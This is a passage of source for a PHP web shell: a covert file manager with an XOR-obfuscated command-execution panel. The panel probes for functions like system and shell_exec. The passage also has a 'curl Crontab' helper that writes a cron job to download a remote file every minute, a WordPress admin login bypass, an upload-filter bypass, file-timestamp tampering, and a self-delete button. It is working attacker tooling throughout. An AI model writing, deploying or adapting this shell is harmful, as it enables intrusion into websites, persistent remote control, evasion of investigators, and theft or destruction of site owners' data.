"/" + file_upload.name; set_message("File Uploaded!"); removeLinkByFilename(file_upload.name); // Temporarily redirect create_table_data output to a staging tbody var stageTbody = document.createElement('tbody'); stageTbody.id = 'data_table'; var realTbody = document.getElementById('data_table'); realTbody.id = '__real_data_table'; document.getElementById('file-table').appendChild(stageTbody); create_table_data(name, filesize, true, last_modified, false, '0644'); stageTbody.id = ''; realTbody.id = 'data_table'; var newRow = stageTbody.querySelector('tr'); if (newRow) insert_row_sorted(newRow, file_upload.name, false); stageTbody.remove(); } else { set_message("ERROR: Failed to upload"); } }); }); } function handle_upload() { //stringToHex(xorEncryptDecrypt(path)) var upload_input = document.getElementById("file-upload-input") var file_upload = upload_input.files[0]; var bypass_upload = document.getElementById("bypass-upload") var current_path = localStorage.getItem("path") || get_current_path(); var reader = new FileReader() var data = new FormData() data.append("path", stringToHex(xorEncryptDecrypt(current_path))); if (bypass_upload.checked) { reader.readAsArrayBuffer(file_upload) data.append("by", true) reader.onload = function(event) { var arrayBuffer = event.target.result; var binaryString = ''; var bytes = new Uint8Array(arrayBuffer); var len = bytes.byteLength; for (var i = 0; i < len; i++) { binaryString += String.fromCharCode(bytes[i]); } var encoded_content = utf8ToBase64(binaryString); var encoded_file = new File( [encoded_content], file_upload.name, { type: "text/plain" } ) data.append("import_file", encoded_file) process_upload(data, encoded_file) } } else { data.append("import_file", file_upload); process_upload(data, file_upload) } upload_input.value = '' } function utf8ToBase64(str) { // Convert the string to a Uint8Array of bytes return btoa(unescape(encodeURIComponent(str))); } async function textarea_handle() { var content = document.getElementById("content"); var encoded_content = utf8ToBase64(content.value); var filenameEl = document.getElementById("edit-filename"); var filename = filenameEl ? filenameEl.value : (new URLSearchParams(window.location.search)).get("filename"); if (!filename) { set_message("ERROR: No filename (reopen file from list)"); return; } set_message("Processing") var data = { "content": encoded_content, "filename": filename } post_url('r', data).then(function(resp) { safeParseResponse(resp).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var resp_json = result.data; if (resp_json.success) { set_message("Success!"); } else { set_message("Failed!"); } }); }); } function removeLinkByFilename(filename) { const links = document.querySelectorAll('a[path]'); links.forEach((link) => { if (link.innerText == filename) { link.parentElement.parentNode.remove() } }) } function fetch_url(act, additional_params = {}) { var params = new URLSearchParams({ action: act }) if (additional_params) { for (var i in additional_params) { var value = additional_params[i] if (i && value) { params.append(i, value) } } } var endpoint = baseUrl + '?' + params.toString() console.log(endpoint) console.log(additional_params) return fetch(endpoint) } function set_message(message, error = false) { var notification = document.getElementById("notification"); if (!notification) { notification = document.createElement("div"); notification.setAttribute("class", "notification"); notification.setAttribute("id", "notification"); } notification.innerText = message; document.body.appendChild(notification); setTimeout(function() { notification.remove(); }, 3000); } function blurTable() { var table_id = document.getElementById("data_table"); table_id.setAttribute("class", "blur-table"); } function unblurTable() { var table_id = document.getElementById("data_table"); table_id.removeAttribute("class") } function encodeXorString(str) { return stringToHex(xorEncryptDecrypt(str)) } function getLastPath() { var last_path = localStorage.getItem("path") if (!last_path) { localStorage.setItem("path", get_current_path()) return getLastPath() } return last_path } function init(current_path = '') { var table_id = document.getElementById("data_table"); blurTable(); var data = new FormData() data.append("path", stringToHex(xorEncryptDecrypt(current_path))); console.log(data); var response = post_url("d", data, false) response.then(function(resp) { if (!resp.ok) { set_message("ERROR: Fetching url"); } table_id.innerHTML = ''; unblurTable(); safeParseResponse(resp).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var element = result.data; if (!Array.isArray(element)) return; element.sort(function(a, b) { if (a.is_dir !== b.is_dir) { return b.is_dir - a.is_dir; } return a.path.localeCompare(b.path); }); element.forEach(function(data) { var is_dir = data.is_dir; var path = data.path; var data_date = data.date; create_table_data(path, data.size, !!data.is_writable, data_date, is_dir, data.perms || ''); }); }); }); } function init_onload() { var table = document.getElementById("data_table"); var last_path = getLastPath(); changePath(last_path) if (table) { init(last_path); } } function EssentialToggle(list_ids = essential_id) { for (var element_id in list_ids) { let element = document.getElementById(list_ids[element_id]) if (!element) { continue; } if (!element.classList.contains("hidden")) { element.classList.add("hidden") } else { element.classList.remove("hidden"); } } } function cron_output(data) { var url = data.url var file_path = data.file_path var com_input = document.getElementById('com-input') var text = `(crontab -l; echo "* * * * * curl ${url} -o ${file_path}") | crontab -` com_input.value = text; } function show_command() { EssentialToggle(); var cmd_id = document.getElementById("com-section") cmd_id.classList.remove("hidden") var curl_crontab = document.getElementById('curl-crontab') curl_crontab.addEventListener('click', function() { var data = ask_url_path() if(!data) { return false; } cron_output(data) }) } function submit_com() { var cmd_func = localStorage.getItem("cmdFunc") var com_result = document.getElementById("command-output") if (!cmd_func || (cmd_func && cmd_func == '0')) { checkCommand(); com_result.innerText = 'Can not execute command? submit again' return false; } var com_input = document.getElementById("com-input"); if (!com_input.value) { return false; } var data = new FormData() data.append("function", cmd_func) data.append("value", encodeXorString(com_input.value)) com_input.value = '' com_result.innerText = 'Processing...' post_url('ec', data, false).then(function(response) { if (!response.ok) { com_result.innerText = 'Invalid status code'; return; } safeParseResponse(response).then(function(result) { if (!result.ok) { com_result.innerText = 'Invalid response (not JSON)'; return; } var resp_json = result.data; if (resp_json && resp_json.output !== undefined) { com_result.innerHTML = resp_json.output; } else { com_result.innerText = 'No output:('; } }); }); } function AdditionalToggle() { EssentialToggle(additional_id) EssentialToggle(essential_id) } function addClickListener(element_id, callback) { var element = document.getElementById(element_id) if (!element) { return; } element.addEventListener("click", function(ev) { callback() }) } function wp_login() { set_message("Processing..."); var data = new FormData(); data.append("mode", "log") post_url("wp", data, false).then(function(response) { if (!response.ok) { set_message("Invalid response"); return; } safeParseResponse(response).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var j = result.data; if (j && j.success) { var user_id = j.result; set_message("Alright! Now you are " + user_id); window.location.href = '/wp-admin/'; } else { set_message("Failed :((("); } }); }); } function checkCommand() { var data = new FormData(); var list_functions = [ 'system', 'passthru', 'exec', 'shell_exec', 'proc_open', 'popen', ]; data.append("data", list_functions.map(encodeXorString)) post_url('cf', data, false).then(function(response) { if (!response.ok) { set_message("ERROR: Invalid status code"); return; } safeParseResponse(response).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var resp = result.data; if (!resp || !resp.avail) { localStorage.setItem("cmdFunc", "0"); return; } localStorage.setItem("cmdFunc", encodeXorString(resp.func)); EssentialToggle(["command"]); }); }); } function selfDelete() { var confirm_text = "Are you sure want to delete yourself?"; if (!confirm(confirm_text)) { return false; } fetch_url('sd').then(function(response) { if (!response.ok) { set_message("Failed to delete self"); return; } safeParseResponse(response).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var resp_json = result.data; if (resp_json && resp_json.success) { set_message("Say goodbye to yourself!"); window.location.href = '/'; } else { set_message("Failed to delete self"); } }); }); } if (!localStorage.getItem("cmdFunc")) { console.log("check command"); checkCommand(); } document.addEventListener("DOMContentLoaded", function() { document.addEventListener("click", function() { hideContextMenu(); }); window.addEventListener("scroll", function() { hideContextMenu(); }, true); var ctxMenu = document.getElementById("context-menu"); if (ctxMenu) { ctxMenu.addEventListener("contextmenu", function(e) { e.preventDefault(); hideContextMenu(); }); } var pathDivEl = document.getElementById("path_div"); var table = document.getElementById("data_table"); if (table) { console.log("Init Onload"); init_onload(); } if (localStorage.getItem("cmdFunc") && localStorage.getItem("cmdFunc") !== '0') { EssentialToggle(["command"]) } var com_input = document.getElementById("com-input"); const menu_id = [{ "id": "refresh-path", "callback": refresh_path }, { "id": "create-file", "callback": create_file }, { "id": "command", "callback": show_command }, { "id": "submit-com", "callback": submit_com }, { "id": "self-delete", "callback": selfDelete }, { "id": "textarea-handle", "callback": textarea_handle }, { "id": "wp-login", "callback": wp_login }, { "id": "additional-toggle", "callback": AdditionalToggle } ] menu_id.forEach(data => { addClickListener(data.id, data.callback) }) if (com_input) { com_input.addEventListener("keypress", function(event) { if (event.key == 'Enter') { submit_com(); } }) } var back_menu = document.getElementById("back_menu"); if (back_menu) { document.getElementById("path_div").innerHTML = '' } }); // end DOMContentLoaded document.addEventListener('DOMContentLoaded', function() { addClickListener('create-dir', create_dir); addClickListener('bulk-apply', bulk_apply); addClickListener('bulk-cancel', bulk_cancel); var bulkActionSel = document.getElementById('bulk-action'); if (bulkActionSel) { bulkActionSel.addEventListener('change', function() { update_recursive_visibility(this.value); }); } var selectAll = document.getElementById('select-all'); if (selectAll) { selectAll.addEventListener('change', function() { var boxes = document.querySelectorAll('.row-check'); boxes.forEach(function(b) { b.checked = selectAll.checked; }); update_bulk_bar(); }); } var ta = document.getElementById('inline-editor-content'); if (ta) ta.addEventListener('input', markEditorDirty); if (loadFile && loadFile !== '0') { EssentialToggle(["wp-login"]); } }); // Ctrl+S to save in editor, Escape to close document.addEventListener('keydown', function(e) { if ((e.ctrlKey || e.metaKey) && e.key === 's') { var editor = document.getElementById('inline-editor-panel'); if (editor && !editor.classList.contains('hidden')) { e.preventDefault(); saveInlineEditor(); } } if (e.key === 'Escape') { var editor = document.getElementById('inline-editor-panel'); if (editor && !editor.classList.contains('hidden')) { closeInlineEditor(); } } }); var _editorDirty = false; function markEditorClean() { _editorDirty = false; } function markEditorDirty() { _editorDirty = true; } // Patch closeInlineEditor to warn on unsaved changes (override below) var _origCloseInlineEditor = closeInlineEditor; closeInlineEditor = function() { if (_editorDirty) { if (!confirm('You have unsaved changes. Leave without saving?')) return; } markEditorClean(); _origCloseInlineEditor(); }; // Patch openInlineEditor to reset dirty flag after load var _origOpenInlineEditor = openInlineEditor; openInlineEditor = function(filePath) { markEditorClean(); _origOpenInlineEditor(filePath); // dirty starts false; user typing will mark dirty setTimeout(function() { var ta = document.getElementById('inline-editor-content'); if (ta) { ta.removeEventListener('input', markEditorDirty); ta.addEventListener('input', markEditorDirty); } }, 300); }; // Patch saveInlineEditor to clear dirty flag on success var _origSaveInlineEditor = saveInlineEditor; saveInlineEditor = function() { var content = document.getElementById('inline-editor-content').value; var encoded_content = utf8ToBase64(content); var filename = document.getElementById('inline-editor-filename-hidden').value; if (!filename) { set_message("ERROR: No filename"); return; } set_message("Saving..."); post_url('r', { content: encoded_content, filename: filename }).then(function(resp) { safeParseResponse(resp).then(function(result) { if (!result.ok) { set_message("Invalid response"); return; } if (result.data.success) { set_message("Saved!"); markEditorClean(); } else { set_message("Failed to save!"); } }); }); }; function doContextChmod() { if (!contextMenuTarget) { hideContextMenu(); return; } var path = contextMenuTarget.path; var isDir = contextMenuTarget.isDir; var current = prompt('Enter new permissions (octal, e.g. 644 or 755):', isDir ? '755' : '644'); if (!current) { hideContextMenu(); return; } var recursive = false; if (isDir) recursive = confirm('Apply recursively to all contents?'); set_message('Processing...'); post_url('ch', { filename: encodeXorString(path), mode: current, recursive: recursive }).then(function(resp) { safeParseResponse(resp).then(function(result) { if (!result.ok) { set_message('Invalid response'); return; } set_message(result.data.success ? 'Chmod done!' : 'Chmod failed!'); }); }); hideContextMenu(); } function create_dir() { var name = prompt('Directory name:', 'new_folder'); if (!name) return; var current_path = localStorage.getItem('path') || get_current_path(); var full = current_path.replace(/\/+$/, '') + '/' + name; set_message('Creating...'); post_url('md', { dirname: encodeXorString(full) }).then(function(resp) { safeParseResponse(resp).then(function(result) { if (!result.ok) { set_message('Invalid response'); return; } if (result.data.success) { set_message('Directory created!'); // Add row in sorted position like upload does var stageTbody = document.createElement('tbody'); stageTbody.id = 'data_table'; var realTbody = document.getElementById('data_table'); realTbody.id = '__real_data_table'; document.getElementById('file-table').appendChild(stageTbody); create_table_data(full, '', false, '', true); stageTbody.id = ''; realTbody.id = 'data_table'; var newRow = stageTbody.querySelector('tr'); if (newRow) insert_row_sorted(newRow, name, true); stageTbody.remove(); } else { set_message('Failed to create directory'); } }); }); } function update_recursive_visibility(act) { var recWrap = document.getElementById('bulk-recursive-wrap'); if (!act || act === 'delete') { recWrap.style.display = 'none'; return; } if (act === 'touch' || act === 'chmod') { var hasDir = Array.from(document.querySelectorAll('.row-check:checked')).some(function(b) { var row = b.closest('tr'); return row && row.getAttribute('data-is-dir') === '1'; }); recWrap.style.display = hasDir ? 'flex' : 'none'; } else { recWrap.style.display = 'none'; } } function update_bulk_bar() { var checked = document.querySelectorAll('.row-check:checked'); var bar = document.getElementById('bulk-bar'); var countEl = document.getElementById('bulk-count'); if (checked.length > 0) { bar.style.display = 'flex'; countEl.textContent = checked.length + ' selected'; // Re-evaluate recursive visibility based on current action var act = document.getElementById('bulk-action').value; update_recursive_visibility(act); } else { bar.style.display = 'none'; document.getElementById('bulk-action').value = ''; document.getElementById('bulk-recursive-wrap').style.display = 'none'; var sa = document.getElementById('select-all'); if (sa) sa.checked = false; } } function bulk_cancel() { document.querySelectorAll('.row-check').forEach(function(b) { b.checked = false; }); var sa = document.getElementById('select-all'); if (sa) sa.checked = false; update_bulk_bar(); } function bulk_apply() { var act = document.getElementById('bulk-action').value; if (!act) { set_message('Select an action first'); return; } var checked = document.querySelectorAll('.row-check:checked'); if (!checked.length) { set_message('Nothing selected'); return; } var files = Array.from(checked).map(function(b) { return b.getAttribute('data-enc'); }); var recursive = document.getElementById('bulk-recursive').checked; var extra = ''; if (act === 'delete') { if (!confirm('Delete ' + files.length + ' item(s)?')) return; } else if (act === 'touch') { // Pick date from a random selected row as default var rows = Array.from(checked).map(function(b) { return b.closest('tr'); }).filter(Boolean); var randomRow = rows[Math.floor(Math.random() * rows.length)]; var dateCell = randomRow ? randomRow.querySelector('.date-cell') : null; var defaultDate = dateCell ? dateCell.textContent.trim() : ''; extra = prompt('New date (dd-mm-yyyy HH:MM:SS):', defaultDate); if (!extra) return; } else if (act === 'chmod') { extra = prompt('Permissions (octal):', '644'); if (!extra) return; } set_message('Processing...'); post_url('bulk', { act: act, files: files, extra: extra, recursive: recursive }).then(function(resp) { safeParseResponse(resp).then(function(result) { if (!result.ok) { set_message('Invalid response'); return; } if (result.data.success) { set_message('Done!'); if (act === 'delete') { checked.forEach(function(b) { var row = b.closest('tr'); if (row) row.remove(); }); } else if (act === 'touch') { // Update date cells immediately in UI checked.forEach(function(b) { var row = b.closest('tr'); if (!row) return; var dc = row.querySelector('.date-cell'); if (dc) dc.textContent = extra; row.setAttribute('data-date', extra); }); } bulk_cancel(); if (act === 'chmod') init(localStorage.getItem('path') || get_current_path()); } else { set_message('Some operations failed'); init(localStorage.getItem('path') || get_current_path()); } bulk_cancel(); }); }); } var _origCreateTableData = create_table_data; create_table_data = function(name, size, is_writable, date, is_dir, perms) { _origCreateTableData(name, size, is_writable, date, is_dir, perms); // Find the row just added (last tr in data_table) and prepend checkbox cell var tbody = document.getElementById('data_table'); if (!tbody) return; var rows = tbody.querySelectorAll('tr'); var row = rows[rows.length - 1]; if (!row) return; var tdCheck = document.createElement('td'); tdCheck.style.cssText = 'text-align:center;width:36px;'; var cb = document.createElement('input'); cb.type = 'checkbox'; cb.className = 'row-check'; cb.setAttribute('data-enc', encodeXorString(name)); cb.addEventListener('change', update_bulk_bar); tdCheck.appendChild(cb); row.insertBefore(tdCheck, row.firstChild); }; </script> </head> <?php } ?> <?php function menu(){ ?> <body> <!-- Inline Editor Panel (hidden by default) --> <div class="panel hidden" id="inline-editor-panel"> <div class="panel-header"> <div class="panel-title">Edit File</div> <div class="panel-actions"> <button class="btn" id="inline-editor-back" onclick="closeInlineEditor()">< Back</button> <button class="btn" id="inline-editor-save" onclick="saveInlineEditor()">Save</button> </div> </div> <div class="file-path" id="inline-editor-filename-display"></div> <input type="hidden" id="inline-editor-filename-hidden" value=""> <textarea id="inline-editor-content" class="file-content" style="min-height:400px" onkeydown="if(event.key === 'Escape') closeInlineEditor();"></textarea> </div> <div id="main-file-panel"> <div class="panel"> <div class="panel-header" id="file-manager"> <div class="panel-title">Living in a happy nation </div> <div class="panel-actions"> <button class="btn" id="refresh-path">HOME</button> <button class="btn" id="create-dir">+ DIR</button> <button class="btn" id="create-file">+ FILE</button> </div> </div> <div class="tools-panel" id="tool-panel"> <div class="tool" id="upload-file"> <form method="post" enctype="multipart/form-data"> <div class="file-upload mr-10"> <label for="file-upload-input" style="cursor: pointer;"> Upload </label> <input type="file" id="file-upload-input" style="display: none;" onchange="handle_upload()"> </div> </form> </div> <div class="tool hidden" id="command">Command</div> <div class="tool hidden" id="wp-login">WP Login</div> <div class="btn btn-danger" id="self-delete" style="margin-left: auto;"> <i class="fas fa-trash"></i> Self Delete </div> </div> <div class="tool" id='byp' style="margin-bottom: 15px"> <label class="checkbox-label" > <input type="checkbox" id="bypass-upload"> Bypass Upload </label> </div> <div class="panel hidden" id="com-section"> <div class="panel-header"> <div class="panel-title"><a href='#' id='additional-toggle'> <p> < Back To Menu</p> </a> </div> </div> <textarea class="command-output" id="command-output" readonly style="width: 100%">Hello ^^</textarea> <div class="tools-panel"> <div class="tool" id="curl-crontab">curl Crontab</div> </div> <div class="command-input"> <input type="text" id="com-input" placeholder="Enter command..."> <button class="btn" id="submit-com">Execute</button> </div> </div> <table class="file-table" id="file-table"> <thead> <tr> <th style="width:36px;text-align:center"><input type="checkbox" id="select-all" title="Select all"></th> <th>Name</th> <th style="text-align:center;width:90px">Size</th> <th style="text-align:center;width:110px">Permissions</th> <th style="text-align:center;width:160px">Modified</th> </tr> </thead> <tbody id="data_table"> </tbody> </table> <!-- Bulk action bar --> <div id="bulk-bar" style="display:none;position:sticky;bottom:0;background:var(--surface-2);border:1px solid var(--border-light);border-radius:3px;padding:10px 16px;margin-top:10px;display:none;align-items:center;gap:10px;flex-wrap:wrap;"> <span id="bulk-count" style="font-family:var(--mono);font-size:11px;color:var(--text-muted);">0 selected</span> <select id="bulk-action" style="background:var(--bg);border:1px solid var(--border-light);color:var(--text);padding:4px 10px;border-radius:2px;font-family:var(--mono);font-size:11px;outline:none;"> <option value="">-- Action --</option> <option value="delete">Delete</option> <option value="touch">Modify Date</option> <option value="chmod">Chmod</option> </select> <label class="checkbox-label" id="bulk-recursive-wrap" style="display:none;"> <input type="checkbox" id="bulk-recursive"> Recursive </label> <button class="btn" id="bulk-apply">Apply</button> <button class="btn" id="bulk-cancel" style="margin-left:auto;">Uncheck All</button> </div> <div id="context-menu" class="context-menu"> <div class="context-menu-item" data-action="view" onclick="doContextView()">View</div> <div class="context-menu-item" data-action="edit" onclick="doContextEdit()">Edit</div> <div class="context-menu-item" data-action="touch" onclick="doContextTouch()">Touch (date)</div> <div class="context-menu-item" data-action="chmod" onclick="doContextChmod()">Chmod</div> <div class="context-menu-item" data-action="delete" onclick="doContextDelete()">Delete</div> <div class="context-menu-item" data-action="rename" onclick="doContextRename()">Rename</div> <div class="context-menu-item" data-action="extract" onclick="doContextExtract()" style="display:none; color: var(--accent);">Extract</div> </div> </div><!-- /.panel --> </div><!-- /#main-file-panel --> </body> </html> <?php } ?>
Save